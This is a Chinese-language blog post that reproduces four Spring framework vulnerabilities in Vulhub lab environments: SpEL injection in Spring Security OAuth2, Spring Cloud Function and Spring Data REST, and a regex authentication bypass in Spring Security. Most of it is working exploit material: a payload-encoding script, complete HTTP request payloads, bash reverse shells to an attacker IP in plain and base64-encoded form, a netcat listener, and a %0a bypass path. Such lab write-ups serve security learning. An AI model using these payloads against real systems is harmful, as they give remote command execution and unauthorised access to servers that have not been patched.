Spring框架漏洞复现及解析(CVE-2016-4977、CVE-2022-22963、CVE-2017-8046、CVE-2022-22978)

2023-10-17 17:12

本文主要是介绍Spring框架漏洞复现及解析(CVE-2016-4977、CVE-2022-22963、CVE-2017-8046、CVE-2022-22978),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

一、漏洞简介:

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

二、实验原理:

该版本的Spring的一个错误页面存在参数获取未进行过滤,导致可以直接对服务器执行系统权限
可通过 Springs 表达式语言 (SpEL) 构造恶意参数来执行命令。

三、实验环境:

攻击机(kali):192.168.200.14
靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现
靶机目录

cd /vulhub/spring/CVE-2016-4977

查看当前正在运行的容器环境

四、实验流程

1.进入环境条件

http://IP地址:8080

image.png
2.访问环境
1.Spring框架特征,web应用程序的ico小图标,是一个小绿叶
image.png
3.在靶机目录下存有poc.py
image.png
这个poc.py并不能一次getshell,而是一个用于对bash脚本进行编码的poc
poc.py的文件内容

#!/usr/bin/env pythonmessage = input('Enter message to encode:')poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])for ch in message[1:]:poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}'

3.在靶机目录中提供了过程

cat README.md 

image.png
4.关键点是,当中提供了URL

http://192.168.200.47:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

触发点是:** 233 ∗ 233 ∗ ∗ ,那么肯定是将反弹 s h e l l 的生成的 p a y l o a d 把 ∗ ∗ {233*233}**,那么肯定是将反弹shell的生成的payload把** 233233,那么肯定是将反弹shell的生成的payload{233*233}**这个命令执行触发点替换即可
image.png
构造反弹shell

bash -i >& /dev/tcp/192.168.200.14/8888 0>&1

使用的编码网站如下:
https://ares-x.com/tools/runtime-exec

image.png
5.kali监控8888端口

nc -lvvp 8888

image.png

6.运行 poc.py 脚本为反向外壳生成一个 EXP:
提示输入需要编码的字符串,将生成的反弹shell的payload复制到提示处,然后就会生成payload
进行编码后的shell

bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yMDAuMTQvODg4OCA8JjEn}|{base64,-d}|{bash,-i}

image.png
image.png
7.在kali中进行监听8888端口,然后在浏览器中执行
image.png
反弹shell成功
image.png

另外提示,在首次执行命令会,弹出提示框,这个时候我们就随意输入数值就可
image.png

Spring Cloud Function SpEL 代码注入 (CVE-2022-22963)

一、漏洞简介:

在 Spring Cloud Function 版本 3.1.6、3.2.2 和更早版本不受支持的版本中,当使用路由功能时,用户可以提供特制的 SpEL 作为路由表达式,这可能导致远程代码执行和对本地资源的访问

二、实验环境:

攻击机(kali):192.168.200.14
靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现
靶机目录

cd /vulhub/spring/cd /vulhub/spring/CVE-2022-22963

三、实验流程

1.进入环境条件

http://IP地址:8080

2.访问环境 #报错页面
image.png
3.根据靶场目录提示的poc
里面含有一个和这样的数据包,

POST /functionRouter HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4test

执行成功后会在容器下的tmp目录创建一个名为success的文件
抓包,放包,页面回显如下
image.png
4.进入容器

docker exec -it 容器id /bin/bash    #进入到容器内,可以看到成功创建了success文件

image.png

5.反弹shell
首先利用bash反弹命令

bash -i >& /dev/tcp/192.168.200.14/8888 0>&1

利用上述提供的编码网站编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

修改POC内容

POST /functionRouter HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 4test

抓取数据包,修改数据包,释放数据包,然后出现以下界面说明反弹shell成功(监听8888端口)
image.png
image.png
另外,利用工具一键反弹shell

https://github.com/chaosec2021/EXP-POC  #链接

image.png

Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

一、漏洞简介

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码

二、实验环境:

攻击机(kali):192.168.200.14
靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现
靶机目录

cd /vulhub/spring/CVE-2017-8046

三、实验流程

1.进入环境条件

http://IP地址:8080

2.访问环境 #提供的两个链接
image.png.
点击的第一个链接页面
image.png
第二个链接的页面
image.png
3.命令执行
访问http://192.168.200.47:8080/customers/1,然后抓取数据包,使用PATCH请求来修改
poc

PATCH /customers/1 HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}
表示的命令touch /tmp/success
这是将每个字符转为对应的十进制,用下python进行进制转换:

payload = b'touch /tmp/success'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

path的值是SpEL表达式,发送上述数据包。

释放数据包后页面
image.png
4.然后进入容器

docker compose exec spring bash

看到文件已经创建好
image.png

5.反弹shell
命令

bash -i >& /dev/tcp/192.168.200.14/8888 0>&1

编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

进制转换
结果

98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,73,119,77,67,52,120,78,67,56,52,79,68,103,52,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

修改path发包
image.png
反弹成功
image.png

参考文章:
https://blog.csdn.net/baidu_38844729/article/details/107149916
https://vulhub.org/#/environments/spring/CVE-2017-8046/

CVE-2022-22978 (Spring-security 认证绕过漏洞)

一、漏洞简介

Spring Security 是spring项目之中的一个安全模块,可以非常方便与spring项目无缝集成。特别是在spring boot项目中加入spring security更是十分简单

二、实验原理:

当Spring-security使用 RegexRequestMatcher 进行权限配置,由于RegexRequestMatcher正则表达式配置权限的特性,正则表达式中包含“.”时,未经身份验证攻击者可以通过构造恶意数据包绕过身份认证

三、实验环境:

攻击机(kali):192.168.200.14
靶机(Ubuntu):192.168.200.47
实验基于Vulhub平台进行复现
靶机目录

cd /vulhub/spring/CVE-2022-22978

四、实验流程

1.进入环境条件

http://IP地址:8080

2.访问环境
image.png
点击admin之后的页面,提示权限不足
image.png
payload

Payload: /admin/index%0a 

使用如图提示的payload,权限变为admin
image.png
在spring-security中利用换行符可实现权限认证进行绕过,\r的URl编码为%0d,\n的URL编码为%0a

这篇关于Spring框架漏洞复现及解析(CVE-2016-4977、CVE-2022-22963、CVE-2017-8046、CVE-2022-22978)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/226805

相关文章

Java实现检查多个时间段是否有重合

《Java实现检查多个时间段是否有重合》这篇文章主要为大家详细介绍了如何使用Java实现检查多个时间段是否有重合,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录流程概述步骤详解China编程步骤1:定义时间段类步骤2:添加时间段步骤3:检查时间段是否有重合步骤4:输出结果示例代码结语作

Java中String字符串使用避坑指南

《Java中String字符串使用避坑指南》Java中的String字符串是我们日常编程中用得最多的类之一,看似简单的String使用,却隐藏着不少“坑”,如果不注意,可能会导致性能问题、意外的错误容... 目录8个避坑点如下:1. 字符串的不可变性:每次修改都创建新对象2. 使用 == 比较字符串,陷阱满

Java判断多个时间段是否重合的方法小结

《Java判断多个时间段是否重合的方法小结》这篇文章主要为大家详细介绍了Java中判断多个时间段是否重合的方法,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录判断多个时间段是否有间隔判断时间段集合是否与某时间段重合判断多个时间段是否有间隔实体类内容public class D

IDEA编译报错“java: 常量字符串过长”的原因及解决方法

《IDEA编译报错“java:常量字符串过长”的原因及解决方法》今天在开发过程中,由于尝试将一个文件的Base64字符串设置为常量,结果导致IDEA编译的时候出现了如下报错java:常量字符串过长,... 目录一、问题描述二、问题原因2.1 理论角度2.2 源码角度三、解决方案解决方案①:StringBui

Java覆盖第三方jar包中的某一个类的实现方法

《Java覆盖第三方jar包中的某一个类的实现方法》在我们日常的开发中,经常需要使用第三方的jar包,有时候我们会发现第三方的jar包中的某一个类有问题,或者我们需要定制化修改其中的逻辑,那么应该如何... 目录一、需求描述二、示例描述三、操作步骤四、验证结果五、实现原理一、需求描述需求描述如下:需要在

Java中ArrayList和LinkedList有什么区别举例详解

《Java中ArrayList和LinkedList有什么区别举例详解》:本文主要介绍Java中ArrayList和LinkedList区别的相关资料,包括数据结构特性、核心操作性能、内存与GC影... 目录一、底层数据结构二、核心操作性能对比三、内存与 GC 影响四、扩容机制五、线程安全与并发方案六、工程

JavaScript中的reduce方法执行过程、使用场景及进阶用法

《JavaScript中的reduce方法执行过程、使用场景及进阶用法》:本文主要介绍JavaScript中的reduce方法执行过程、使用场景及进阶用法的相关资料,reduce是JavaScri... 目录1. 什么是reduce2. reduce语法2.1 语法2.2 参数说明3. reduce执行过程

如何使用Java实现请求deepseek

《如何使用Java实现请求deepseek》这篇文章主要为大家详细介绍了如何使用Java实现请求deepseek功能,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录1.deepseek的api创建2.Java实现请求deepseek2.1 pom文件2.2 json转化文件2.2

Java调用DeepSeek API的最佳实践及详细代码示例

《Java调用DeepSeekAPI的最佳实践及详细代码示例》:本文主要介绍如何使用Java调用DeepSeekAPI,包括获取API密钥、添加HTTP客户端依赖、创建HTTP请求、处理响应、... 目录1. 获取API密钥2. 添加HTTP客户端依赖3. 创建HTTP请求4. 处理响应5. 错误处理6.

Spring AI集成DeepSeek的详细步骤

《SpringAI集成DeepSeek的详细步骤》DeepSeek作为一款卓越的国产AI模型,越来越多的公司考虑在自己的应用中集成,对于Java应用来说,我们可以借助SpringAI集成DeepSe... 目录DeepSeek 介绍Spring AI 是什么?1、环境准备2、构建项目2.1、pom依赖2.2